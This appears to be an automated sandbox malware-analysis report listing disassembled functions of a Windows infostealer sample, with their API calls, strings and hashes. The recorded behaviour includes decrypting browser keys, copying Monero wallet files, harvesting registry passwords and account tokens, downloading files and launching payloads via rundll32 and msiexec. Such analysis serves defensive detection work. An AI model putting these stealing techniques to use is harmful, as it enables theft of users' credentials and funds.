ShellExecuteEx.SHELL32(0000003C), ref: 0092335D
ShellExecuteEx.SHELL32(0000003C), ref: 009234EA

Strings

.dll, xrefs: 009231E5
C:\Windows\system32\rundll32.exe, xrefs: 00923332
.msi, xrefs: 00923398
/i ", xrefs: 009233E4
"" , xrefs: 0092309A
C:\Windows\system32\msiexec.exe, xrefs: 009234BF
/passive, xrefs: 0092345B
<, xrefs: 00923490

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 7cb5dad48cb6b226da8ca1fbb33aa81e433d3d345da4cb9cb50ad4cace2b86d8
Instruction ID: b4ab002048f3a420275d93faced2fea864aee9aeaf85ccae5f6b183e598b69d0
Opcode Fuzzy Hash: 7cb5dad48cb6b226da8ca1fbb33aa81e433d3d345da4cb9cb50ad4cace2b86d8
Instruction Fuzzy Hash: 311213728001289BDB19FBA0EC92FDEB738AF94300F504559F5067619AEF342B4ACF56

Function 009252C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

Part of subcall function 00916280: InternetOpenA.WININET(00930DFE,00000001,00000000,00000000,00000000), ref: 009162E1
Part of subcall function 00916280: StrCmpCA.SHLWAPI(?,01050A00), ref: 00916303
Part of subcall function 00916280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00916335
Part of subcall function 00916280: HttpOpenRequestA.WININET(00000000,GET,?,010500C8,00000000,00000000,00400100,00000000), ref: 00916385
Part of subcall function 00916280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009163BF
Part of subcall function 00916280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009163D1

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00925318
lstrlen.KERNEL32(00000000), ref: 0092532F

Part of subcall function 00928E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00928E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00925364
lstrlen.KERNEL32(00000000), ref: 00925383
lstrlen.KERNEL32(00000000), ref: 009253AE

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Strings

ERROR, xrefs: 0092530A
ERROR, xrefs: 009253B9
ERROR, xrefs: 00925432
ERROR, xrefs: 009254A9
ERROR, xrefs: 0092546F

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 8b3578225bccd877e534fa15b9e188cec08a596eb01f042963ae7bb3ad530880
Instruction ID: 07338da4d65fb6fae1bcdc6aaf9bdb0245959b22ae5b9c7d806a25db00efe307
Opcode Fuzzy Hash: 8b3578225bccd877e534fa15b9e188cec08a596eb01f042963ae7bb3ad530880
Instruction Fuzzy Hash: 07514F31911158ABCB18FF60ED92FED7779AF94300F504018F9066B1A6EF346B46CBA6

Function 009212D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 33bb9812b05595727150e0bace489d80172411c8efe6f0aa032fc5df1e9af086
Instruction ID: 58edad4922e2105c385b9ecdf9fcc64728f681879e697cd9d374f3d54c73baf7
Opcode Fuzzy Hash: 33bb9812b05595727150e0bace489d80172411c8efe6f0aa032fc5df1e9af086
Instruction Fuzzy Hash: D8C187B69012299BCB14EF60EC89FEE7379BFA4304F0045D8F50A67245DE74AA85CF91

Function 00924280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00928DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00928E0B

lstrcat.KERNEL32(?,00000000), ref: 009242EC
lstrcat.KERNEL32(?,010502F0), ref: 0092430B
lstrcat.KERNEL32(?,?), ref: 0092431F
lstrcat.KERNEL32(?,0104F490), ref: 00924333

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 00928D90: GetFileAttributesA.KERNEL32(00000000,?,00911B54,?,?,0093564C,?,?,00930E1F), ref: 00928D9F

Part of subcall function 00919CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00919D39

Part of subcall function 009199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009199EC
Part of subcall function 009199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00919A11
Part of subcall function 009199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00919A31
Part of subcall function 009199C0: ReadFile.KERNEL32(000000FF,?,00000000,0091148F,00000000), ref: 00919A5A
Part of subcall function 009199C0: LocalFree.KERNEL32(0091148F), ref: 00919A90
Part of subcall function 009199C0: CloseHandle.KERNEL32(000000FF), ref: 00919A9A

Part of subcall function 009293C0: GlobalAlloc.KERNEL32(00000000,009243DD,009243DD), ref: 009293D3

StrStrA.SHLWAPI(?,01050308), ref: 009243F3
GlobalFree.KERNEL32(?), ref: 00924512

Part of subcall function 00919AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00914EEE,00000000,00000000), ref: 00919AEF
Part of subcall function 00919AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00914EEE,00000000,?), ref: 00919B01
Part of subcall function 00919AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00914EEE,00000000,00000000), ref: 00919B2A
Part of subcall function 00919AC0: LocalFree.KERNEL32(?,?,?,?,00914EEE,00000000,?), ref: 00919B3F

lstrcat.KERNEL32(?,00000000), ref: 009244A3
StrCmpCA.SHLWAPI(?,009308D1), ref: 009244C0
lstrcat.KERNEL32(00000000,00000000), ref: 009244D2
lstrcat.KERNEL32(00000000,?), ref: 009244E5
lstrcat.KERNEL32(00000000,00930FB8), ref: 009244F4

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 0cadd4622bdf64a9f8805a922663dc3c1127bdc3c17fb94760a7ad621165fe84
Instruction ID: 59d25d937762dd1e90f29f49deacf5e0c12d59565c212378866aa1c7babfcbf9
Opcode Fuzzy Hash: 0cadd4622bdf64a9f8805a922663dc3c1127bdc3c17fb94760a7ad621165fe84
Instruction Fuzzy Hash: 43715976900218ABDB14EBA0EC95FEE777DAF88300F004598F605A7185EE75DB49CF91

Function 00911310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 009112A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 009112B4
Part of subcall function 009112A0: RtlAllocateHeap.NTDLL(00000000), ref: 009112BB
Part of subcall function 009112A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 009112D7
Part of subcall function 009112A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 009112F5
Part of subcall function 009112A0: RegCloseKey.ADVAPI32(?), ref: 009112FF

lstrcat.KERNEL32(?,00000000), ref: 0091134F
lstrlen.KERNEL32(?), ref: 0091135C
lstrcat.KERNEL32(?,.keys), ref: 00911377

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

Part of subcall function 00928B60: GetSystemTime.KERNEL32(00930E1A,0104B3D0,009305AE,?,?,009113F9,?,0000001A,00930E1A,00000000,?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 00928B86

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00911465

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

Part of subcall function 009199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009199EC
Part of subcall function 009199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00919A11
Part of subcall function 009199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00919A31
Part of subcall function 009199C0: ReadFile.KERNEL32(000000FF,?,00000000,0091148F,00000000), ref: 00919A5A
Part of subcall function 009199C0: LocalFree.KERNEL32(0091148F), ref: 00919A90
Part of subcall function 009199C0: CloseHandle.KERNEL32(000000FF), ref: 00919A9A

DeleteFileA.KERNEL32(00000000), ref: 009114EF

Strings

.keys, xrefs: 0091136B
SOFTWARE\monero-project\monero-core, xrefs: 00911335
\Monero\wallet.keys, xrefs: 0091138D
wallet_path, xrefs: 00911330

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 284728ea427731e724f96b58c33385e861fc5111036fda8d8c5e2358baf0a2f6
Instruction ID: 45ba227ec4dc7eaf1408ca1a0fbde1bdf06677134dd3f666703eaa7bc506efad
Opcode Fuzzy Hash: 284728ea427731e724f96b58c33385e861fc5111036fda8d8c5e2358baf0a2f6
Instruction Fuzzy Hash: 8A5137B2D5012957CB15FB60ED92FED737CAF94300F4045D8B60A62096EE706B89CFA6

Function 009175D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009172D0: memset.MSVCRT ref: 00917314
Part of subcall function 009172D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0091733A
Part of subcall function 009172D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 009173B1
Part of subcall function 009172D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0091740D
Part of subcall function 009172D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00917452
Part of subcall function 009172D0: HeapFree.KERNEL32(00000000), ref: 00917459

lstrcat.KERNEL32(00000000,009317FC), ref: 00917606
lstrcat.KERNEL32(00000000,00000000), ref: 00917648
lstrcat.KERNEL32(00000000, : ), ref: 0091765A
lstrcat.KERNEL32(00000000,00000000), ref: 0091768F
lstrcat.KERNEL32(00000000,00931804), ref: 009176A0
lstrcat.KERNEL32(00000000,00000000), ref: 009176D3
lstrcat.KERNEL32(00000000,00931808), ref: 009176ED
task.LIBCPMTD ref: 009176FB

Strings

: , xrefs: 0091764E

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 29fe1ddd90e6c59cd65fe4383f0a2a6b574e4026fb316e1814985147b63828c8
Instruction ID: 054c69c8d0a0dcaa48e31ad8daf03caf5af101b4a06718984245acbdf2332e3b
Opcode Fuzzy Hash: 29fe1ddd90e6c59cd65fe4383f0a2a6b574e4026fb316e1814985147b63828c8
Instruction Fuzzy Hash: F0312F72A04209EBCB04EBE4DC55EEF7775AB85302B144658E102B7160DE34A986DB52

Function 009172D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00917314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0091733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 009173B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0091740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00917452
HeapFree.KERNEL32(00000000), ref: 00917459
task.LIBCPMTD ref: 00917555

Strings

Password, xrefs: 00917401

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: b0f42de98a81a6522f88d982d2c52157b63305aa5ddf3171e2f93f37d2841f30
Instruction ID: def5ce88940f58f1aabf1e2d5e148ac5dc4e22ef087e0a7c9a22b7ec5d015e49
Opcode Fuzzy Hash: b0f42de98a81a6522f88d982d2c52157b63305aa5ddf3171e2f93f37d2841f30
Instruction Fuzzy Hash: 18613CB5A0426D9BDB24DB50CC51BDAB7B9BF88300F0081E9E649A6181DF745FC9CFA0

Function 009160A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

Part of subcall function 009147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00914839
Part of subcall function 009147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00914849

InternetOpenA.WININET(00930DF7,00000001,00000000,00000000,00000000), ref: 0091610F
StrCmpCA.SHLWAPI(?,01050A00), ref: 00916147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0091618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 009161B3
InternetReadFile.WININET(?,?,00000400,?), ref: 009161DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0091620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00916249
InternetCloseHandle.WININET(?), ref: 00916253
InternetCloseHandle.WININET(00000000), ref: 00916260

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 6fece53fb681cf9e26112b05c29e2bd61b14b891662da81a55d0a98b0e00bd3e
Instruction ID: 6ba02c49d1d89c85062aaaba2107566fdccb0f2db0134fb47687623ee7416a2e
Opcode Fuzzy Hash: 6fece53fb681cf9e26112b05c29e2bd61b14b891662da81a55d0a98b0e00bd3e
Instruction Fuzzy Hash: 00513BB1A0021CABDB20DFA0DC59BEE77B8EB48705F108598E605A71C1DB746E89CF95

Function 0091BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

Part of subcall function 0092A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0092A7E6

lstrlen.KERNEL32(00000000), ref: 0091BC9F

Part of subcall function 00928E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00928E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0091BCCD
lstrlen.KERNEL32(00000000), ref: 0091BDA5
lstrlen.KERNEL32(00000000), ref: 0091BDB9

Strings

AccountTokens, xrefs: 0091BABA
AccountTokens, xrefs: 0091BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0091BBEB
AccountId, xrefs: 0091BCC4

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
